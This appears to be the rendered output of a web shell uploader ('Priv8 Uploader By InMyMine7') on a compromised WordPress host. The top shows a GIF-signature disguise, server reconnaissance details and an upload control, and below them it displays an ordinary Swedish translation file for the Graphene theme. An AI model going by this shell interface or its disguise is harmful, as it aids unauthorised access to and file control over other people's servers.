GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/domains/poolq.ee/old_old/wp-content/themes/graphene/languages/sv_SE.po
msgid ""
msgstr ""
"Project-Id-Version: Graphene 1.6 theme for WordPress\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2012-01-21 21:34+1200\n"
"PO-Revision-Date: 2012-01-27 17:32+0300\n"
"Last-Translator: Tor-Bjorn Fjellner <poedit@fjellner.com>\n"
"Language-Team: TobiF <poedit@fjellner.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-KeywordsList: __;_e;_n;esc_attr_e;esc_attr__\n"
"X-Poedit-Basepath: D:\\[[MyVault]]\\MyProjects\\[Websites]\\wordpress-theme-test\\site\\wp-content\\themes\\graphene\\\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Poedit-SourceCharset: utf-8\n"
"X-Poedit-Language: Swedish\n"
"X-Poedit-Country: SWEDEN\n"
"X-Poedit-SearchPath-0: .\n"

#: 404.php:25
#, php-format
msgid "Searching for: <span>%s</span>"
msgstr "Söker efter: <span>%s</span>"

#: 404.php:31
msgid "Error 404 - Page Not Found"
msgstr "Felmeddelande 404 - Sidan finns ej"

#: 404.php:33
msgid "Sorry, I've looked everywhere but I can't find the page you're looking for."
msgstr "Beklagar, jag har letat överallt, men hittar inte sidan du letar efter."

#: 404.php:34
msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:"
msgstr "Om du har följt denna länk från en annan webbplats, så kan det hända att sidan flyttats eller tagits bort. Prova gärna att söka efter sidan:"

#: 404.php:42
msgid "Automated search"
msgstr "Automatisk sökning"

#: 404.php:45
#, php-format
msgid "Searching for the terms <strong>%s</strong> ..."
msgstr "Söker efter termerna <strong>%s</strong> ..."

#: archive.php:24
#, php-format
msgid "Daily Archive: %s"
msgstr "Dagligt arkiv för %s"

#: archive.php:26
#, php-format
msgid "Monthly Archive: %s"
msgstr "Månatligt arkiv för %s"

#. translators: F will be replaced with month, and Y will be replaced with year, so "F Y" in English would be replaced with something like "June 2008".
#: archive.php:28
msgid "F Y"
msgstr "F Y"

#: archive.php:30
#, php-format
msgid "Yearly Archive: %s"
msgstr "Årligt arkiv för %s"

#: archive.php:40
#, php-format
msgid "%1$s Archive: <span>%2$s</span>"
msgstr "Arkiv för %1$s: <span>%2$s</span>"

#: archive.php:43
msgid "Blog Archive"
msgstr "Bloggarkiv"

#: author.php:32
msgid "Author's posts listings"
msgstr "Listning av viss författares inlägg"

#: category.php:13
#, php-format
msgid "Category Archive: <span>%s</span>"
msgstr "Kategorilista: <span>%s</span>"

#: comments.php:25
msgid "This post is password protected. Enter the password to view any comments."
msgstr "Detta inlägg är lösenordsskyddat. Ange lösenordet för att se eventuella kommentarer."

#: comments.php:49
#: loop-author.php:85
#: loop.php:166
#, php-format
msgid "1 comment"
msgid_plural "%d comments"
msgstr[0] "1 kommentar"
msgstr[1] "%d kommentarer"

#: comments.php:51
#, php-format
msgid "1 ping"
msgid_plural "%d pings"
msgstr[0] "1 ping"
msgstr[1] "%d pingar"

#: comments.php:109
msgid "Comments have been disabled."
msgstr "Kommentarer ej tillåtna."

#: comments.php:126
#, php-format
msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s"
msgstr "Du kan använda följande <abbr title=\"HyperText Markup Language\">HTML</abbr> etiketter och attribut: %s"

#: comments.php:131
msgid "Your email address will not be published."
msgstr "Din e-post adress kommer inte att publiceras."

#: comments.php:134
msgid "Submit Comment"
msgstr "Skicka kommentar"

#: footer.php:41
msgid "Copyright"
msgstr "Copyright"

#. translators: %s will replaced by a link to the Creative Commons licence page, with "Creative Commons Licence" as the link text.
#: footer.php:56
#, php-format
msgid "Except where otherwise noted, content on this site is licensed under a %s."
msgstr "Där ej annat är angivet, är innehållet på denna webbplats licensierat enligt %s."

#: footer.php:56
msgid "Creative Commons Licence"
msgstr "Creative Commons-licens"

#: footer.php:58
msgid "Creative Commons Licence BY-NC-ND"
msgstr "Creative Commons Licence BY-NC-ND"

#: footer.php:79
msgid "Return to top"
msgstr "Åter till toppen"

#. translators: %1$s is the link to WordPress.org, %2$s is the theme's name
#: footer.php:89
#, php-format
msgid "Powered by %1$s and the %2$s."
msgstr "Drivs med %1$s och %2$s."

#: footer.php:89
msgid "Graphene Theme"
msgstr "Temat Graphene"

#: header.php:36
#, php-format
msgid "Subscribe to %s's RSS feed"
msgstr "Abonnera på %s's RSS-flöde"

#: header.php:36
msgid "Subscribe to RSS feed"
msgstr "Abonnera på RSS-flöde"

#: header.php:82
#: header.php:102
msgid "Go back to the front page"
msgstr "Tillbaka till huvudsidan"

#: loop-author.php:23
msgid "Author's details"
msgstr "Om författaren"

#. translators: %1$s is the first name, %2$s is the last name
#: loop-author.php:25
#, php-format
msgid "<strong>Name:</strong> %1$s %2$s"
msgstr "<strong>Namn:</strong> %1$s %2$s"

#: loop-author.php:26
#, php-format
msgid "<strong>Date registered:</strong> %1$s"
msgstr "<strong>Datum för registrering:</strong> %1$s"

#: loop-author.php:35
msgid "Biography"
msgstr "Biografi"

#: loop-author.php:52
msgid "Latest posts"
msgstr "Senaste inlägg"

#: loop-author.php:55
#: loop-author.php:85
#, php-format
msgid "Permalink Link to %s"
msgstr "Permalänk till %s"

#: loop-author.php:55
#: loop-author.php:85
#: loop-children.php:45
#: loop-page.php:8
#: loop-page.php:35
#: loop-post-formats.php:36
#: loop-single.php:67
#: loop.php:31
#: loop.php:66
msgid "(No title)"
msgstr "(Titel saknas)"

#: loop-author.php:92
msgid "Most commented posts"
msgstr "Mest kommenterade inlägg"

#: loop-children.php:45
#: loop-children.php:53
#: loop-post-formats.php:36
#: loop.php:65
#: loop.php:134
#, php-format
msgid "Permalink to %s"
msgstr "Permalänk till %s"

#: loop-children.php:53
msgid "View page &raquo;"
msgstr "Visa sida &raquo;"

#: loop-not-found.php:3
msgid "Not found"
msgstr "Inget funnet"

#: loop-not-found.php:8
msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?"
msgstr "Beklagar, det du letar efter finns inte här. Vill du söka?"

#: loop-not-found.php:10
msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?"
msgstr "Beklagar, det hittades inget relevant. Vill söka efter något annat nyckelord?"

#: loop-page.php:23
#: loop-page.php:24
#, php-format
msgid "Print this %s"
msgstr "Skriv ut detta %s"

#: loop-page.php:45
#: loop-single.php:83
#: loop.php:85
#, php-format
msgid "Edit %s"
msgstr "Redigera %s"

#: loop-page.php:66
#: loop-single.php:122
#: loop.php:148
msgid "Pages:"
msgstr "Sidor:"

#: loop-page.php:90
#: loop-post-formats.php:89
#: loop-single.php:172
#: loop.php:179
msgid "Permanent link to this article:"
msgstr "Permalänk till denna artikel:"

#: loop-post-formats.php:15
msgid "Status update"
msgstr "Statusuppdatering"

#: loop-post-formats.php:16
msgid "Audio"
msgstr "Audio"

#: loop-post-formats.php:17
msgid "Image"
msgstr "Bild"

#: loop-post-formats.php:18
msgid "Video"
msgstr "Video"

#: loop-post-formats.php:19
msgid "Post format"
msgstr "Inläggsformat"

#. translators: This is the PHP date formatting string for the status post format. See http://php.net/manual/en/function.date.php for more details.
#: loop-post-formats.php:32
msgid "l F j, Y"
msgstr "l j F Y"

#: loop-post-formats.php:32
msgid "g:i A"
msgstr "H:i"

#: loop-post-formats.php:42
msgid "Edit post"
msgstr "Redigera inlägg"

#. translators: This is the PHP date formatting string for the image post format. See http://php.net/manual/en/function.date.php for more details.
#: loop-post-formats.php:77
#, php-format
msgid "Posted on: %s"
msgstr "Publicerad den: %s"

#: loop-post-formats.php:77
msgid "F j, Y"
msgstr "j F Y"

#: loop-single.php:76
#: loop.php:78
msgid "Categories:"
msgstr "Kategorier:"

#: loop-single.php:98
#: loop.php:102
#, php-format
msgid "by %s"
msgstr "av %s"

#: loop-single.php:132
#: loop.php:158
msgid "Tags:"
msgstr "Etiketter:"

#: loop-single.php:132
#: loop.php:158
msgid "This post has no tag"
msgstr "Detta inlägg har inga etiketter"

#: loop-single.php:153
msgid "About the author"
msgstr "Om författaren"

#: loop.php:127
msgid "Read the rest of this entry &raquo;"
msgstr "Läs resten av detta inlägg &raquo;"

#: loop.php:166
msgid "Leave comment"
msgstr "Skriv kommentar"

#: loop.php:166
msgid "Comments off"
msgstr "Kommentering avstängd"

#: search-404.php:14
msgid "Suggested results"
msgstr "Föreslagna resultat"

#. translators: %s is the search term
#: search-404.php:18
#, php-format
msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:"
msgstr "Jag har tagit mig friheten att söka efter termen %s åt dig. Se om du kan hitta vad du letar efter i listan här nedan:"

#: search-404.php:35
msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above."
msgstr "<strong>Beklagar, hittade ingenting.</strong> Använd gärna ovanstående sökmall för att söka alternativa termer."

#: search.php:10
#, php-format
msgid "Search results for: %s"
msgstr "Sökresultat för: %s"

#: searchform.php:3
#: searchform.php:4
msgid "Search"
msgstr "Sök"

#: sidebar-two.php:35
#: sidebar.php:41
msgid "Meta"
msgstr "Meta"

#: sidebar-two.php:40
#: sidebar.php:46
msgid "Posts RSS"
msgstr "RSS-flöde för inlägg"

#: sidebar-two.php:41
#: sidebar.php:47
msgid "Comments RSS"
msgstr "RSS-flöde för kommentarer"

#. translators: %s is the link to wordpress.org
#: sidebar-two.php:43
#: sidebar.php:49
#, php-format
msgid "Powered by %s"
msgstr "Drivs med %s"

#: sidebar-two.php:43
#: sidebar.php:49
msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform."
msgstr "Drivs med WordPress publiceringsplattform."

#: sidebar-two.php:48
#: sidebar.php:34
msgid "Archives"
msgstr "Arkiv"

#: tag.php:13
#, php-format
msgid "Tag Archive: <span>%s</span>"
msgstr "Etikettarkiv: <span>%s</span>"

#: admin/custom-fields.php:14
msgid "Graphene post-specific options"
msgstr "Inläggs-specifika inställningar i Graphene"

#: admin/custom-fields.php:15
msgid "Graphene page-specific options"
msgstr "Sid-specifika inställningar i Graphene"

#: admin/custom-fields.php:97
msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page."
msgstr "Dessa inställningar gäller enbart just det inlägg eller den sida du redigerar för tillfället. Dessa inställningar ersätter de globala inställningarna för temat Graphene och temats visningsalternativ."

#: admin/custom-fields.php:98
msgid "Slider options"
msgstr "Inställningar för bildvisare"

#: admin/custom-fields.php:102
msgid "Slider image"
msgstr "Bild i bildvisare"

#: admin/custom-fields.php:106
#: admin/custom-fields.php:132
#: admin/custom-fields.php:146
msgid "Use global setting"
msgstr "Använd globala inställningar"

#: admin/custom-fields.php:107
msgid "Don't show image"
msgstr "Visa ingen bild"

#: admin/custom-fields.php:108
msgid "Featured Image"
msgstr "Utvald Bild"

#: admin/custom-fields.php:109
msgid "First image in post"
msgstr "Inläggets första bild"

#: admin/custom-fields.php:110
msgid "Custom URL"
msgstr "Anpassad URL"

#: admin/custom-fields.php:116
msgid "Custom slider image URL"
msgstr "Speciell URL för bild i bildvisare"

#: admin/custom-fields.php:120
msgid "Make sure you select Custom URL in the slider image option above to use this custom url."
msgstr "Se till att du väljer Anpassad URL i bildvisarens inställningar här ovan för att använda denna anpassade url."

#: admin/custom-fields.php:124
msgid "Display options"
msgstr "Visningsinställningar"

#: admin/custom-fields.php:128
msgid "AddThis Social Sharing button"
msgstr "Visa AddThis knapp för Social delning"

#: admin/custom-fields.php:133
msgid "Show button"
msgstr "Visa knapp"

#: admin/custom-fields.php:134
msgid "Hide button"
msgstr "Göm knapp"

#: admin/custom-fields.php:142
msgid "Post date display"
msgstr "Visning av inläggets datum"

#: admin/custom-fields.php:147
msgid "Hide date"
msgstr "Dölj datum"

#: admin/custom-fields.php:155
msgid "Navigation options"
msgstr "Navigeringsinställningar"

#: admin/custom-fields.php:159
msgid "Description"
msgstr "Beskrivning"

#: admin/custom-fields.php:163
msgid "Only required if you need a description in the navigation menu and you are not using a custom menu."
msgstr "Krävs enbart om du behöver en beskrivning i navigeringsmenyn och du inte använder en anpassad meny."

#: admin/faq.php:11
msgid "Graphene's Frequently Asked Questions"
msgstr "Graphene Frågor och Svar"

#: admin/faq.php:14
msgid "Where should I go for the theme's support?"
msgstr "Var hittar jag hjälp för detta tema?"

#: admin/faq.php:15
msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>."
msgstr "Om du behöver hjälp med detta tema, gå till temats <a href=\"http://forum.khairul-syahir.com/forum/graphene-wordpress-theme\">Hjälpforum</a>."

#: admin/faq.php:18
msgid "The post's featured image is replacing my header image. Help!"
msgstr "Inläggets valda bild ersätter min huvudbild. Hjälp!"

#: admin/faq.php:19
msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages."
msgstr "Detta är faktiskt ett av temats finesser, liksom i temat  TwentyTen. Utvalda bilder som är minst lika stora som temats sidhuvudsbild (900 x 198 pixlar) ersätter sidhuvudsbilden när inlägget/sidan innehållande den valda bildens inlägg eller sida visas. Detta gör det möjligt att ha olika sidhuvhdsbilder för olika inlägg och/eller sidor."

#: admin/faq.php:20
msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display &gt; Header Display Options."
msgstr "För att inaktivera denna inställning, markera bara <em>Inaktiviera att Utvald Bild ersätter huvudbild</em> i <a href=\"themes.php?page=graphene_options_display\">Graphene's visninginställningar</a>, under inställningar för visning av Sidhuvud."

#: admin/faq.php:23
msgid "Can I modify Graphene to my heart's content without paying anything?"
msgstr "Får jag ändra Graphene hur jag vill utan att betala något?"

#: admin/faq.php:24
msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2."
msgstr "Temat Graphene för Wordpress, liksom övriga teman i det officiella biblioteket för fria teman på Wordpress.org, täcks av GNU General Public License (GPL) Version 2. Licensens fulla text finner du tillsammans med detta tema i <code>licence.txt</code> i temabiblioteket. Denna licens innebär bl. a. att du <em>för vilket syfte som helst (inklusive kommersiellt) fritt får göra ändringar</em> utan några förbindelrser gentemot temats upphovsman. Om du däremot bestämmer dig för att publicera det modifierade temat, så måste detta ske under samma licens, GPLv2."

#: admin/faq.php:25
msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme."
msgstr "Självklart tar upphovsmannen gärna emot <a href=\"themes.php?page=graphene_options\">bidrag</a> till stöd för fortlöpande och framtida utveckling av temat."

#: admin/faq.php:28
msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?"
msgstr "Om temat publicerats under GPLv2 licensen, vad betyder Creative Commons, som nämns i sidfoten?"

#: admin/faq.php:29
msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it."
msgstr "Creative Commons är en populär licens bland dagens författare av web-baserat material då den skyddar upphovsmannens upphovsrätt samtidigt som den möjliggör gratis distribution. Den inkluderas i temat för att underlätta för temats användare att själva åberopa licensen för det material de själva publicerar. Om så önskas, kan användaren av temat ta bort licensen via Inställningssidan."

#: admin/faq.php:30
msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it."
msgstr "Enkelt uttryck, <em>licensen gäller inte själva temat</em>, utan själva webbplatsens innehåll om temats användare så önskar."

#: admin/faq.php:33
msgid "Is the theme compatible with this plugin or that plugin?"
msgstr "Fungerar temat (är det kompatibelt) med tillägget/insticksprogrammet si eller så?"

#: admin/faq.php:34
msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme."
msgstr "Jag vet inte. Med så många tillgängliga insticksprogram till Wordpress, är det omöjligt för mig (eller någon annan heller, för den delen) att i förväg testa om allt fungerar med alla tillägg. Samtidigt skall det sägas att detta tema innehåller alla nödvändiga Wordpress-komponenter, så de flesta insticksprogramm bör vara kompatibla med detta tema."

#: admin/faq.php:35
msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support."
msgstr "Mitt förslag är att installera insticksprogrammet och testa det. Om du stöter på problem, be först om hjälp från den som skrivit insticksprogrammet. Om han eller hon säger att det är problem med temat, så vet du vart du skall vända dig."

#: admin/feature-pointers.php:8
msgid "Where are all the options?!"
msgstr "Var ligger alla inställningar?"

#: admin/feature-pointers.php:9
msgid "We've decided to clean things up!"
msgstr "Nu ska vi städa upp!"

#: admin/feature-pointers.php:10
msgid "We know how too many options can really be daunting to new users, so we've hidden them."
msgstr "Vi vet att allt för många inställningar kan vara förvirrande för användarna, så vi har gömt dem."

#: admin/feature-pointers.php:11
msgid "But no worries! If you're a seasoned user of the Graphene theme, or whenever you feel ready to further customise your site, just click on the \"Show all options\" link, and they will magically appear to you."
msgstr "Men, oroa dig inte. Om du är van vid Graphene-temat, eller om du känner dig redo att anpassa den webbplats, klicka bara på \"Visa alla inställningar\"."

#: admin/options-advanced.php:12
#: admin/options.php:350
msgid "Preview"
msgstr "Förhandsgranskning"

#: admin/options-advanced.php:19
msgid "Enable preview of your site on the Graphene Theme Options page"
msgstr "Aktivera förhandsvisning av din webbplats på temat Graphene's sida för inställningar."

#: admin/options-advanced.php:31
msgid "Action Hooks Widget Areas"
msgstr "Widget-område kopplade till \"action hooks\""

#: admin/options-advanced.php:34
msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks."
msgstr "Denna inställning låter dig placera nästan vad som helst, i vilken skrymsle eller vrå som helst i hela temat, genom att koppla ett widget-fält till temats \"action hooks\"."

#: admin/options-advanced.php:35
msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook."
msgstr "Alla \"action hooks\" som förekommer i temat Graphene finns listade här nedanför. Klicka på ett filnamn för att visa samtliga \"action hooks\" i filen. Sedan kan du klicka i rutan vid en hook för att skapa ett widget-fält för den platsen."

#: admin/options-advanced.php:44
msgid "Click to show/hide the action hooks for this file"
msgstr "Klicka för att visa resp. dölja \"actions hooks\" i denna fil"

#: admin/options-advanced.php:56
msgid "Rescan action hooks"
msgstr "Söka igenom \"action hooks\""

#: admin/options-display.php:13
msgid "Header Display Options"
msgstr "Inställningar för visning av sidhuvud"

#: admin/options-display.php:19
msgid "Use light-coloured header bars"
msgstr "Använd ljusa lister i sidhuvud"

#: admin/options-display.php:25
msgid "Link header image to front page"
msgstr "Länka bilden i sidhuvudet till huvudsidan"

#: admin/options-display.php:28
msgid "Check this if you disable the header texts and want the header image to be linked to the front page."
msgstr "Markera detta val om du inaktiverar Rubriktexterna och därför i stället vill länka hela bilden till förstasidan."

#: admin/options-display.php:33
msgid "Disable Featured Image replacing header image"
msgstr "Utvald Bild ersätter INTE huvudbild"

#: admin/options-display.php:36
msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension."
msgstr "Om du markerar detta val, kommer utvalda bilder inte att ersätta sidhuvudets bild, även om den är tillräckligt stor."

#: admin/options-display.php:41
msgid "Use random header image"
msgstr "Visa slumpvist vald bild i sidhuvud"

#: admin/options-display.php:45
msgid "Check this to show a random header image (random image taken from the available default header images)."
msgstr "Markera detta val för att sidhuvudsbilden skall slumpas fram (Slumpmässigt vald bland tillgängliga standardbilderför sidhuvud)."

#: admin/options-display.php:46
msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined."
msgstr "<strong>Notering:</strong> gäller enbart på sidor där ingen specifik sidhuvudsbild har angetts."

#: admin/options-display.php:52
msgid "Search box location"
msgstr "Sökrutans placering"

#: admin/options-display.php:56
msgid "Top bar"
msgstr "Översta listen"

#: admin/options-display.php:57
msgid "Navigation bar"
msgstr "Navigeringslisten"

#: admin/options-display.php:58
msgid "Disable search box"
msgstr "Ta bort sökningsfönster"

#: admin/options-display.php:71
msgid "Column Options"
msgstr "Val för kolumner"

#: admin/options-display.php:77
msgid "Column mode"
msgstr "Kolumnläge"

#: admin/options-display.php:86
#: admin/options-display.php:131
msgid "One column"
msgstr "En kolumn"

#: admin/options-display.php:93
#: admin/options-display.php:138
msgid "Two columns (with sidebar right)"
msgstr "Två kolumner (med sidofält till höger)"

#: admin/options-display.php:97
#: admin/options-display.php:142
msgid "Two columns (with sidebar left)"
msgstr "Två kolumner (med sidofält till vänster)"

#: admin/options-display.php:104
#: admin/options-display.php:149
msgid "Three columns (with two sidebars right)"
msgstr "Tre kolumner (med två sidofält till höger)"

#: admin/options-display.php:108
#: admin/options-display.php:153
msgid "Three columns (with two sidebars left)"
msgstr "Tre kolumner (med två sidofält till vänster)"

#: admin/options-display.php:112
#: admin/options-display.php:157
msgid "Three columns (with sidebars left and right)"
msgstr "Tre kolumner (med sidofält till vänster och till höger)"

#: admin/options-display.php:122
msgid "bbPress column mode"
msgstr "kolumnläge för bbPress"

#: admin/options-display.php:173
msgid "Column Width Options"
msgstr "Kolumnbredd inställningar"

#: admin/options-display.php:176
msgid "Note: Leave values empty to reset to the default values."
msgstr "Låt fältet stå tomt för att använda standardvärdet."

#: admin/options-display.php:180
msgid "Container width"
msgstr "Behållarens bredd"

#: admin/options-display.php:197
#: admin/options-display.php:220
msgid "Column width"
msgstr "Kolumnbredd"

#: admin/options-display.php:197
msgid "two-column mode"
msgstr "dubbel-kolumn läge"

#: admin/options-display.php:201
#: admin/options-display.php:228
msgid "Content"
msgstr "Innehåll"

#: admin/options-display.php:205
msgid "Sidebar"
msgstr "Sidreglage"

#: admin/options-display.php:220
msgid "three-column mode"
msgstr "tre-kolumns läge"

#: admin/options-display.php:224
msgid "Left sidebar"
msgstr "Vänstra sidreglage"

#: admin/options-display.php:232
msgid "Right sidebar"
msgstr "Högra sidreglage"

#: admin/options-display.php:253
msgid "Posts Display Options"
msgstr "Val för visning av inlägg"

#: admin/options-display.php:259
msgid "Hide post author"
msgstr "Göm författare"

#: admin/options-display.php:269
msgid "Hidden"
msgstr "Gömd"

#: admin/options-display.php:270
msgid "As an icon (without the year)"
msgstr "Som ikon (utan årtal)"

#: admin/options-display.php:271
msgid "As an icon (including the year)"
msgstr "Som ikon (med årtal)"

#: admin/options-display.php:272
msgid "As inline text"
msgstr "Som vanlig text"

#: admin/options-display.php:274
msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration."
msgstr "Obs: Om du visar datumet som vanlig text frigörs mer utrymme för innehållet, något som är extra användbart vid layout med tre kolumner."

#: admin/options-display.php:279
msgid "Hide post categories"
msgstr "Göm kategorier för inlägg"

#: admin/options-display.php:285
msgid "Hide post tags"
msgstr "Göm etiketter for inlägg"

#: admin/options-display.php:291
msgid "Hide post comment count"
msgstr "Göm antalet kommentarer"

#: admin/options-display.php:292
msgid "Only affects posts listing (such as the front page) and not single post view."
msgstr "Påverkar endast inläggslistor (t ex på huvudsidan) och inte vyer med ett enda inlägg."

#: admin/options-display.php:297
msgid "Show post author's <a href=\"http://en.gravatar.com/\">gravatar</a>"
msgstr "Visa inläggförfattares <a href=\"http://en.gravatar.com/\">gravatar</a>"

#: admin/options-display.php:301
msgid "Show post author's info"
msgstr "Visa information om inläggets författare"

#: admin/options-display.php:313
msgid "Excerpts Display Options"
msgstr "Inställningar för visning av sammanfattningar"

#: admin/options-display.php:319
msgid "Show excerpts in front page"
msgstr "Visa sammanfattningar på huvudsidan"

#: admin/options-display.php:325
msgid "Show full content in archive pages"
msgstr "Visa hela innehållet på arkivsidor"

#: admin/options-display.php:329
msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used."
msgstr "OBS: Arkivsidor avser arkiv för kategorier, etiketter, publiceringsdatum och sökresultat. Om detta val markeras kommer hela innehållet i inkluderade sidor och inlägg att visas, i stället för utdrag/sammanfattningar. Om etiketten \"Läs mer\" används, kommer innehållet att brytas vid denna etikett."

#: admin/options-display.php:333
msgid "Show More link for manual excerpts"
msgstr "Visa länk \"Visa mer\" för inlägg med manuella utdrag"

#: admin/options-display.php:337
msgid "Retain these HTML tags in excerpts"
msgstr "Behåll följande HTML-taggar i utdragen"

#: admin/options-display.php:340
msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> to retain <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, and <code>&lt;li&gt;</code> HTML tags."
msgstr "Ange vilka HTML etiketter du vill behålla i utdragen. Ange t.ex. <code>&lt;p&gt;&lt;ul&gt;&lt;li&gt;</code> för att behålla <code>&lt;p&gt;</code>, <code>&lt;ul&gt;</code>, och <code>&lt;li&gt;</code> HTML-taggar."

#: admin/options-display.php:353
msgid "Comments Display Options"
msgstr "Visiningsalternativ för Kommentarer"

#: admin/options-display.php:359
msgid "Hide allowed tags in comment form"
msgstr "Dölj vilka taggar som är tillåtna i kommentarer"

#: admin/options-display.php:372
msgid "Colours Options"
msgstr "Färginställningar"

#: admin/options-display.php:375
msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics."
msgstr "Att byta färger på din webbplats kräver mer än att bara prova sig fram. Att blanda färger utan hänsyn till hur de passar ihop kan göra mer skada än nytta för webbplatsens estetik."

#: admin/options-display.php:376
#, php-format
msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use."
msgstr "Det är i allmänhet en god idé att använda färger från en färgpalett som är estetiskt tilltalande. På webbplatsen %s kan du hitta flera användbara färgpaletter."

#: admin/options-display.php:377
msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>."
msgstr "När du har fått till en bra kombination, dela gärna med dig till andra anävndare av temat Graphene genom <a href=\"http://forum.khairul-syahir.com/\">Graphene's Hjälpforum</a>."

#: admin/options-display.php:378
msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome."
msgstr "<strong>OBS:</strong> Förhandsvisningen fungerar bäst hos moderna Gecko- eller Webkit-baserade webbläsare, t ex Mozilla Firefox och Google Chrome."

#: admin/options-display.php:379
msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour."
msgstr "<strong>Obs:</strong> För att återställa någon av färgerna till standardvärdet, klicka på \"Återställ\" intill färgfältet och spara sedan inställningarna. Temat kommer då automatiskt att återställa standardvärdet."

#: admin/options-display.php:380
msgid "Content area"
msgstr "Innehållsområde"

#: admin/options-display.php:384
msgid "Main content wrapper background"
msgstr "Bakgrund för området med det huvudsakliga innehållet"

#: admin/options-display.php:385
msgid "Post and pages content background"
msgstr "Bakgrund för innehållet i inlägg och sidor"

#: admin/options-display.php:386
msgid "Post meta and footer border"
msgstr "Kantlinje för inläggsinformation och sidfot"

#: admin/options-display.php:387
msgid "Post and pages top border"
msgstr "Övre kantlinje for inlägg och sidor"

#: admin/options-display.php:388
msgid "Post and pages bottom border"
msgstr "Nedre kantlinje for inlägg och sidor"

#: admin/options-display.php:398
#: admin/options-display.php:428
#: admin/options-display.php:454
#: admin/options-display.php:481
#: admin/options-display.php:510
#: admin/options-display.php:646
#: admin/options-display.php:667
msgid "Clear"
msgstr "Ta bort"

#: admin/options-display.php:405
msgid "Widgets"
msgstr "Widgetar"

#: admin/options-display.php:408
msgid "Widget preview"
msgstr "Förhandsvisning av widget"

#: admin/options-display.php:409
msgid "Widget title"
msgstr "Widget-rubrik"

#: admin/options-display.php:409
msgid "List item"
msgstr "Listpost"

#: admin/options-display.php:413
msgid "Widget item background"
msgstr "Bakgrund för widget"

#: admin/options-display.php:414
msgid "Widget item list border"
msgstr "Kantlinje för widgetlista"

#: admin/options-display.php:415
msgid "Widget header border"
msgstr "Kantlinje för widgetrubrik"

#: admin/options-display.php:416
msgid "Widget title colour"
msgstr "Rubrikfärg för widget"

#: admin/options-display.php:417
msgid "Widget title text shadow colour"
msgstr "Färg på skugga för rubriktext i widget"

#: admin/options-display.php:418
msgid "Widget header gradient bottom colour"
msgstr "Övertonade widget-rubrikers färg i nederkant"

#: admin/options-display.php:419
msgid "Widget header gradient top colour"
msgstr "Övertonade widget-rubrikers färg i överkant"

